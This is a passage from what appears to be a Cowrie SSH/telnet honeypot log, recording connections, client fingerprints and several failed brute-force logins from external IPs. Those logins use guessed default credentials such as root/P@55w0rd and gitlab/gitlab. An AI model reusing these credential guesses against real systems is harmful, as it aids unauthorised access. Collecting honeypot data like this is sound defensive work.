ac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:26.060000Z","src_ip":"45.156.87.254","session":"df3c77661384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:26.484409Z","src_ip":"45.156.87.254","session":"df3c77661384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:27.583185Z","src_ip":"45.156.87.254","session":"df3c77661384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.640052795410156,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:28.271974Z","src_ip":"104.245.105.2","session":"54c5f40c8dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35358,"dst_ip":"159.203.135.109","dst_port":22,"session":"c912cc747ebc","protocol":"ssh","message":"New connection: 45.156.87.254:35358 (159.203.135.109:22) [session: c912cc747ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:31.162727Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":60164,"dst_ip":"10.17.0.5","dst_port":22,"session":"224b75028730","protocol":"ssh","message":"New connection: 103.143.231.102:60164 (10.17.0.5:22) [session: 224b75028730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:31.228428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:31.232965Z","src_ip":"103.143.231.102","session":"224b75028730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:31.303192Z","src_ip":"103.143.231.102","session":"224b75028730","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:31.342925Z","src_ip":"45.156.87.254","session":"c912cc747ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:31.346951Z","src_ip":"45.156.87.254","session":"c912cc747ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"terrariaserver","message":"login attempt [terrariaserver/terrariaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:31.618315Z","src_ip":"103.143.231.102","session":"224b75028730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:31.731552Z","src_ip":"45.156.87.254","session":"c912cc747ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:32.692677Z","src_ip":"103.143.231.102","session":"224b75028730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:32.819088Z","src_ip":"45.156.87.254","session":"c912cc747ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35360,"dst_ip":"159.203.135.109","dst_port":22,"session":"68865ab773c5","protocol":"ssh","message":"New connection: 45.156.87.254:35360 (159.203.135.109:22) [session: 68865ab773c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:36.368595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:36.373240Z","src_ip":"45.156.87.254","session":"68865ab773c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:36.456642Z","src_ip":"45.156.87.254","session":"68865ab773c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:36.709982Z","src_ip":"45.156.87.254","session":"68865ab773c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":47644,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba9363a4d26f","protocol":"ssh","message":"New connection: 45.144.233.139:47644 (10.17.0.5:22) [session: ba9363a4d26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:36.993000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:36.997600Z","src_ip":"45.144.233.139","session":"ba9363a4d26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:37.085046Z","src_ip":"45.144.233.139","session":"ba9363a4d26f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"0123456789","message":"login attempt [user/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:37.466470Z","src_ip":"45.144.233.139","session":"ba9363a4d26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:37.813484Z","src_ip":"45.156.87.254","session":"68865ab773c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:38.560514Z","src_ip":"45.144.233.139","session":"ba9363a4d26f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45116,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ebec9d6b9b9","protocol":"telnet","message":"New connection: 104.245.105.2:45116 (10.17.0.5:23) [session: 7ebec9d6b9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:41.578147Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60700,"dst_ip":"159.203.135.109","dst_port":22,"session":"d469f1711cdb","protocol":"ssh","message":"New connection: 45.156.87.254:60700 (159.203.135.109:22) [session: d469f1711cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:41.599840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:41.605163Z","src_ip":"45.156.87.254","session":"d469f1711cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:41.694832Z","src_ip":"45.156.87.254","session":"d469f1711cdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:41.953484Z","src_ip":"45.156.87.254","session":"d469f1711cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:43.041045Z","src_ip":"45.156.87.254","session":"d469f1711cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60728,"dst_ip":"159.203.135.109","dst_port":22,"session":"f912d1698854","protocol":"ssh","message":"New connection: 45.156.87.254:60728 (159.203.135.109:22) [session: f912d1698854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:46.944854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:46.950211Z","src_ip":"45.156.87.254","session":"f912d1698854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:47.053616Z","src_ip":"45.156.87.254","session":"f912d1698854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:47.321783Z","src_ip":"45.156.87.254","session":"f912d1698854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:48.441466Z","src_ip":"45.156.87.254","session":"f912d1698854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44048,"dst_ip":"159.203.135.109","dst_port":22,"session":"097e8c8282ae","protocol":"ssh","message":"New connection: 45.156.87.254:44048 (159.203.135.109:22) [session: 097e8c8282ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:52.331528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:52.336995Z","src_ip":"45.156.87.254","session":"097e8c8282ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:52.422107Z","src_ip":"45.156.87.254","session":"097e8c8282ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:52.689795Z","src_ip":"45.156.87.254","session":"097e8c8282ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:53.801815Z","src_ip":"45.156.87.254","session":"097e8c8282ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39462,"dst_ip":"10.17.0.5","dst_port":23,"session":"2848e0612ecc","protocol":"telnet","message":"New connection: 104.245.105.2:39462 (10.17.0.5:23) [session: 2848e0612ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:56.483201Z"}
{"eventid":"cowrie.session.closed","duration":34.27799606323242,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:56.916440Z","src_ip":"104.245.105.2","session":"e570edb006e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47670,"dst_ip":"10.17.0.5","dst_port":23,"session":"eafd029986ce","protocol":"telnet","message":"New connection: 20.123.41.163:47670 (10.17.0.5:23) [session: eafd029986ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:57.238502Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44064,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2e604f1b644","protocol":"ssh","message":"New connection: 45.156.87.254:44064 (159.203.135.109:22) [session: d2e604f1b644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:57.717316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:57.722911Z","src_ip":"45.156.87.254","session":"d2e604f1b644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sh